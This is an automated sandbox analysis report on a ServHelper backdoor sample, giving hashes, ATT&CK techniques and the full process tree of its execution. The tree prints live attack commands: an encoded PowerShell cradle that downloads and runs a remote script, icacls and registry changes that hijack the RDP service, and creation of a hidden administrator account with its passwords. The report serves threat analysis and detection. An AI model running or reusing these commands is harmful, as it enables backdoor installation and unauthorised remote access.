servhelper | 4411d8a69230284cb6238a2e8cf29878afbbef90935bb94d1a6f8d59af30c6cc

Analysis

max time kernel
134s
max time network
76s
platform
windows7_x64
resource
win7v20201028
submitted
29/03/2021, 07:57

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General

Target

92068f4e5a7e704caf1fad1665121757.exe
Size

6.0MB
MD5

92068f4e5a7e704caf1fad1665121757
SHA1

63af0fcb20bc4abb452c53455a9955dc210334bb
SHA256

4411d8a69230284cb6238a2e8cf29878afbbef90935bb94d1a6f8d59af30c6cc
SHA512

2e4688b7a1924cfab40984efa51533d1e712222ce9c11d00df9da19c65405840da6182068f16bc1a5fe74753d83ea2324bf3ff9e9e527726dc3e7cfd89aaa741

Score

10^/10

servhelper backdoor discovery exploit persistence trojan upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
trojan backdoor servhelper
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 1 IoCs

flow	pid	Process
11	1488	powershell.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076

Possible privilege escalation attempt 8 IoCs

exploit

pid	Process
888	icacls.exe
1152	icacls.exe
1020	icacls.exe
1696	icacls.exe
1620	icacls.exe
1156	icacls.exe
1052	icacls.exe
940	takeown.exe

Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x0004000000013115-139.dat	upx
behavioral1/files/0x0005000000013117-140.dat	upx

Loads dropped DLL 2 IoCs

pid	Process
1700	Process not Found
1700	Process not Found

Modifies file permissions 1 TTPs 8 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
940	takeown.exe
888	icacls.exe
1152	icacls.exe
1020	icacls.exe
1696	icacls.exe
1620	icacls.exe
1156	icacls.exe
1052	icacls.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\system32\rfxvmt.dll	powershell.exe

Drops file in Windows directory 21 IoCs

description	ioc	Process
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_8eaefd7b-5ad1-4cb1-a476-deb3b226367b	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_600f7584-e26f-4222-a7a5-ca49ce8de419	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_3db23cfc-0e4b-4242-82f5-585459c50f3d	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_03416fae-dbe7-47bb-a75a-6c303ddd6d12	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_a0c27f6e-d1fb-48d9-997f-8b96decccb45	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_65f25a43-6ee0-4bbd-8dd5-788efbbf01e3	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_0f9ed257-b2fb-474c-9f2e-de306e48c480	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_fa5918dd-5b88-474c-8d94-c9d67e3c9ea1	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\QWHUO4YJNSA40C3KYEUF.temp	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_0e45c145-ada6-424a-8f12-094408ee11c0	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_3fe98399-5e35-4098-9646-f40e3cc8fdcf	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_18065320-3d92-4365-ab1c-43ad2d02dda0	powershell.exe

Modifies data under HKEY_USERS 4 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 508401b87124d701	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
316	reg.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

pid	Process
1096	powershell.exe
1096	powershell.exe
520	powershell.exe
520	powershell.exe
1476	powershell.exe
1476	powershell.exe
1956	powershell.exe
1956	powershell.exe
1096	powershell.exe
1096	powershell.exe
1096	powershell.exe
1488	powershell.exe
1488	powershell.exe

Suspicious behavior: LoadsDriver 5 IoCs

pid	Process
468	Process not Found
1700	Process not Found
1700	Process not Found
1700	Process not Found
1700	Process not Found

Suspicious use of AdjustPrivilegeToken 18 IoCs

description	pid	Process
Token: SeDebugPrivilege	1096	powershell.exe
Token: SeDebugPrivilege	520	powershell.exe
Token: SeDebugPrivilege	1476	powershell.exe
Token: SeDebugPrivilege	1956	powershell.exe
Token: SeRestorePrivilege	1152	icacls.exe
Token: SeAssignPrimaryTokenPrivilege	1364	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1364	WMIC.exe
Token: SeAuditPrivilege	1364	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1364	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1364	WMIC.exe
Token: SeAuditPrivilege	1364	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	572	WMIC.exe
Token: SeIncreaseQuotaPrivilege	572	WMIC.exe
Token: SeAuditPrivilege	572	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	572	WMIC.exe
Token: SeIncreaseQuotaPrivilege	572	WMIC.exe
Token: SeAuditPrivilege	572	WMIC.exe
Token: SeDebugPrivilege	1488	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2008 wrote to memory of 1096	2008	92068f4e5a7e704caf1fad1665121757.exe	29
PID 2008 wrote to memory of 1096	2008	92068f4e5a7e704caf1fad1665121757.exe	29
PID 2008 wrote to memory of 1096	2008	92068f4e5a7e704caf1fad1665121757.exe	29
PID 1096 wrote to memory of 368	1096	powershell.exe	31
PID 1096 wrote to memory of 368	1096	powershell.exe	31
PID 1096 wrote to memory of 368	1096	powershell.exe	31
PID 368 wrote to memory of 1112	368	csc.exe	32
PID 368 wrote to memory of 1112	368	csc.exe	32
PID 368 wrote to memory of 1112	368	csc.exe	32
PID 1096 wrote to memory of 688	1096	powershell.exe	33
PID 1096 wrote to memory of 688	1096	powershell.exe	33
PID 1096 wrote to memory of 688	1096	powershell.exe	33
PID 688 wrote to memory of 944	688	csc.exe	34
PID 688 wrote to memory of 944	688	csc.exe	34
PID 688 wrote to memory of 944	688	csc.exe	34
PID 1096 wrote to memory of 520	1096	powershell.exe	35
PID 1096 wrote to memory of 520	1096	powershell.exe	35
PID 1096 wrote to memory of 520	1096	powershell.exe	35
PID 1096 wrote to memory of 1476	1096	powershell.exe	37
PID 1096 wrote to memory of 1476	1096	powershell.exe	37
PID 1096 wrote to memory of 1476	1096	powershell.exe	37
PID 1096 wrote to memory of 1956	1096	powershell.exe	39
PID 1096 wrote to memory of 1956	1096	powershell.exe	39
PID 1096 wrote to memory of 1956	1096	powershell.exe	39
PID 1096 wrote to memory of 940	1096	powershell.exe	42
PID 1096 wrote to memory of 940	1096	powershell.exe	42
PID 1096 wrote to memory of 940	1096	powershell.exe	42
PID 1096 wrote to memory of 888	1096	powershell.exe	43
PID 1096 wrote to memory of 888	1096	powershell.exe	43
PID 1096 wrote to memory of 888	1096	powershell.exe	43
PID 1096 wrote to memory of 1152	1096	powershell.exe	44
PID 1096 wrote to memory of 1152	1096	powershell.exe	44
PID 1096 wrote to memory of 1152	1096	powershell.exe	44
PID 1096 wrote to memory of 1020	1096	powershell.exe	45
PID 1096 wrote to memory of 1020	1096	powershell.exe	45
PID 1096 wrote to memory of 1020	1096	powershell.exe	45
PID 1096 wrote to memory of 1696	1096	powershell.exe	46
PID 1096 wrote to memory of 1696	1096	powershell.exe	46
PID 1096 wrote to memory of 1696	1096	powershell.exe	46
PID 1096 wrote to memory of 1620	1096	powershell.exe	47
PID 1096 wrote to memory of 1620	1096	powershell.exe	47
PID 1096 wrote to memory of 1620	1096	powershell.exe	47
PID 1096 wrote to memory of 1156	1096	powershell.exe	48
PID 1096 wrote to memory of 1156	1096	powershell.exe	48
PID 1096 wrote to memory of 1156	1096	powershell.exe	48
PID 1096 wrote to memory of 1052	1096	powershell.exe	49
PID 1096 wrote to memory of 1052	1096	powershell.exe	49
PID 1096 wrote to memory of 1052	1096	powershell.exe	49
PID 1096 wrote to memory of 1988	1096	powershell.exe	50
PID 1096 wrote to memory of 1988	1096	powershell.exe	50
PID 1096 wrote to memory of 1988	1096	powershell.exe	50
PID 1096 wrote to memory of 316	1096	powershell.exe	51
PID 1096 wrote to memory of 316	1096	powershell.exe	51
PID 1096 wrote to memory of 316	1096	powershell.exe	51
PID 1096 wrote to memory of 1708	1096	powershell.exe	52
PID 1096 wrote to memory of 1708	1096	powershell.exe	52
PID 1096 wrote to memory of 1708	1096	powershell.exe	52
PID 1096 wrote to memory of 896	1096	powershell.exe	53
PID 1096 wrote to memory of 896	1096	powershell.exe	53
PID 1096 wrote to memory of 896	1096	powershell.exe	53
PID 896 wrote to memory of 1068	896	net.exe	54
PID 896 wrote to memory of 1068	896	net.exe	54
PID 896 wrote to memory of 1068	896	net.exe	54
PID 1096 wrote to memory of 1012	1096	powershell.exe	55

C:\Users\Admin\AppData\Local\Temp\92068f4e5a7e704caf1fad1665121757.exe
"C:\Users\Admin\AppData\Local\Temp\92068f4e5a7e704caf1fad1665121757.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2008
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
  2⤵
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1096
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\3qgfpwgx\3qgfpwgx.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:368
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES5FDC.tmp" "c:\Users\Admin\AppData\Local\Temp\3qgfpwgx\CSC846320F511984B7E9E7F377C1B42F624.TMP"
      4⤵
      PID:1112
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\fldtnga3\fldtnga3.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:688
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES63D2.tmp" "c:\Users\Admin\AppData\Local\Temp\fldtnga3\CSC9A10AC602BAE4FB1AC416D4740C5C054.TMP"
      4⤵
      PID:944
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:520
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1476
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1956
- - C:\Windows\system32\takeown.exe
    "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:940
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:888
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:1152
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1020
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1696
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1620
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1156
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1052
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
    3⤵
    PID:1988
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
    3⤵
    - Modifies registry key
    PID:316
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
    3⤵
    PID:1708
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:896
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      PID:1068
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
    3⤵
    PID:1012
  - - C:\Windows\system32\cmd.exe
      cmd /c net start rdpdr
      4⤵
      PID:368
    - - C:\Windows\system32\net.exe
        
        net start rdpdr
        5⤵
        
        PID:1224
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        6⤵
        
        PID:320
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
    3⤵
    PID:1604
  - - C:\Windows\system32\cmd.exe
      cmd /c net start TermService
      4⤵
      PID:432
    - - C:\Windows\system32\net.exe
        
        net start TermService
        5⤵
        
        PID:924
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        6⤵
        
        PID:856
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
    3⤵
    PID:2028
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
    3⤵
    PID:1948

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc Ghar4f5 /del
1⤵
PID:292
- C:\Windows\system32\net.exe
  net.exe user wgautilacc Ghar4f5 /del
  2⤵
  PID:1696
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc Ghar4f5 /del
    3⤵
    PID:324

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc 1BAkMUGz /add
1⤵
PID:688
- C:\Windows\system32\net.exe
  net.exe user wgautilacc 1BAkMUGz /add
  2⤵
  PID:1924
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc 1BAkMUGz /add
    3⤵
    PID:1448

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
1⤵
PID:1836
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
  2⤵
  PID:1752
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
    3⤵
    PID:556

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" EIDQHRRL$ /ADD
1⤵
PID:612
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" EIDQHRRL$ /ADD
  2⤵
  PID:1068
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" EIDQHRRL$ /ADD
    3⤵
    PID:752

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD
1⤵
PID:1696
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" wgautilacc /ADD
  2⤵
  PID:324
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD
    3⤵
    PID:316

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc 1BAkMUGz
1⤵
PID:1924
- C:\Windows\system32\net.exe
  net.exe user wgautilacc 1BAkMUGz
  2⤵
  PID:688
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc 1BAkMUGz
    3⤵
    PID:1932

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:896
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1364

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:612
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:572

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:768
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:1936
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1488

C:\Windows\System32\cmd.exe
cmd.exe /C net user wgautilacc 1234
1⤵
PID:556
- C:\Windows\system32\net.exe
  net user wgautilacc 1234
  2⤵
  PID:1444
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc 1234
    3⤵
    PID:1792

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Discovery

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/520-56-0x000000001B610000-0x000000001B611000-memory.dmp

Filesize
4KB

Download
memory/520-52-0x00000000025F0000-0x00000000025F1000-memory.dmp

Filesize
4KB

Download
memory/520-77-0x000000001B960000-0x000000001B961000-memory.dmp

Filesize
4KB

Download
memory/520-46-0x000007FEF5B20000-0x000007FEF650C000-memory.dmp

Filesize
9.9MB

Download
memory/520-50-0x0000000002400000-0x0000000002402000-memory.dmp

Filesize
8KB

Download
memory/520-51-0x0000000002404000-0x0000000002406000-memory.dmp

Filesize
8KB

Download
memory/520-54-0x000000001B6F0000-0x000000001B6F1000-memory.dmp

Filesize
4KB

Download
memory/520-76-0x000000001B890000-0x000000001B891000-memory.dmp

Filesize
4KB

Download
memory/520-63-0x000000001B920000-0x000000001B921000-memory.dmp

Filesize
4KB

Download
memory/520-57-0x00000000024C0000-0x00000000024C1000-memory.dmp

Filesize
4KB

Download
memory/1096-19-0x000000001AC50000-0x000000001AC52000-memory.dmp

Filesize
8KB

Download
memory/1096-58-0x000000001AC5A000-0x000000001AC79000-memory.dmp

Filesize
124KB

Download
memory/1096-39-0x00000000026C0000-0x00000000026C1000-memory.dmp

Filesize
4KB

Download
memory/1096-14-0x000007FEF5B20000-0x000007FEF650C000-memory.dmp

Filesize
9.9MB

Download
memory/1096-40-0x000000001A8D0000-0x000000001A8D1000-memory.dmp

Filesize
4KB

Download
memory/1096-41-0x000000001AB90000-0x000000001AB91000-memory.dmp

Filesize
4KB

Download
memory/1096-42-0x000000001AC20000-0x000000001AC21000-memory.dmp

Filesize
4KB

Download
memory/1096-18-0x0000000002490000-0x0000000002491000-memory.dmp

Filesize
4KB

Download
memory/1096-13-0x000007FEFC371000-0x000007FEFC373000-memory.dmp

Filesize
8KB

Download
memory/1096-17-0x0000000002670000-0x0000000002671000-memory.dmp

Filesize
4KB

Download
memory/1096-15-0x0000000002630000-0x0000000002631000-memory.dmp

Filesize
4KB

Download
memory/1096-20-0x000000001AC54000-0x000000001AC56000-memory.dmp

Filesize
8KB

Download
memory/1096-116-0x000000001C510000-0x000000001C511000-memory.dmp

Filesize
4KB

Download
memory/1096-22-0x000000001C2B0000-0x000000001C2B1000-memory.dmp

Filesize
4KB

Download
memory/1096-16-0x000000001ACD0000-0x000000001ACD1000-memory.dmp

Filesize
4KB

Download
memory/1096-30-0x0000000002530000-0x0000000002531000-memory.dmp

Filesize
4KB

Download
memory/1476-92-0x00000000024A0000-0x00000000024A1000-memory.dmp

Filesize
4KB

Download
memory/1476-87-0x0000000002130000-0x0000000002131000-memory.dmp

Filesize
4KB

Download
memory/1476-86-0x000000001ABF4000-0x000000001ABF6000-memory.dmp

Filesize
8KB

Download
memory/1476-89-0x000000001B520000-0x000000001B521000-memory.dmp

Filesize
4KB

Download
memory/1476-81-0x000007FEF5B20000-0x000007FEF650C000-memory.dmp

Filesize
9.9MB

Download
memory/1476-91-0x000000001B630000-0x000000001B631000-memory.dmp

Filesize
4KB

Download
memory/1476-85-0x000000001ABF0000-0x000000001ABF2000-memory.dmp

Filesize
8KB

Download
memory/1488-184-0x00000000194A0000-0x00000000194A1000-memory.dmp

Filesize
4KB

Download
memory/1488-173-0x0000000000F10000-0x0000000000F11000-memory.dmp

Filesize
4KB

Download
memory/1488-168-0x0000000000FA0000-0x0000000000FA1000-memory.dmp

Filesize
4KB

Download
memory/1488-164-0x00000000194F4000-0x00000000194F6000-memory.dmp

Filesize
8KB

Download
memory/1488-163-0x00000000194F0000-0x00000000194F2000-memory.dmp

Filesize
8KB

Download
memory/1488-159-0x000007FEF5B20000-0x000007FEF650C000-memory.dmp

Filesize
9.9MB

Download
memory/1488-174-0x0000000001060000-0x0000000001061000-memory.dmp

Filesize
4KB

Download
memory/1488-175-0x00000000192F0000-0x00000000192F1000-memory.dmp

Filesize
4KB

Download
memory/1488-176-0x0000000001070000-0x0000000001071000-memory.dmp

Filesize
4KB

Download
memory/1488-177-0x0000000019310000-0x0000000019311000-memory.dmp

Filesize
4KB

Download
memory/1488-192-0x00000000194D0000-0x00000000194D1000-memory.dmp

Filesize
4KB

Download
memory/1488-194-0x00000000194FA000-0x0000000019519000-memory.dmp

Filesize
124KB

Download
memory/1956-108-0x000000001AC60000-0x000000001AC62000-memory.dmp

Filesize
8KB

Download
memory/1956-109-0x000000001AC64000-0x000000001AC66000-memory.dmp

Filesize
8KB

Download
memory/1956-104-0x000007FEF5B20000-0x000007FEF650C000-memory.dmp

Filesize
9.9MB

Download
memory/2008-6-0x0000000043B70000-0x0000000043F91000-memory.dmp

Filesize
4.1MB

Download
memory/2008-5-0x000007FEF5B20000-0x000007FEF650C000-memory.dmp

Filesize
9.9MB

Download
memory/2008-11-0x00000000436C7000-0x00000000436C8000-memory.dmp

Filesize
4KB

Download
memory/2008-4-0x0000000000400000-0x0000000000A5B000-memory.dmp

Filesize
6.4MB

Download
memory/2008-9-0x00000000436C4000-0x00000000436C6000-memory.dmp

Filesize
8KB

Download
memory/2008-8-0x00000000436C2000-0x00000000436C4000-memory.dmp

Filesize
8KB

Download
memory/2008-10-0x00000000436C6000-0x00000000436C7000-memory.dmp

Filesize
4KB

Download
memory/2008-3-0x0000000000400000-0x0000000000A5B000-memory.dmp

Filesize
6.4MB

Download
memory/2008-2-0x0000000000400000-0x0000000000A5B000-memory.dmp

Filesize
6.4MB

Download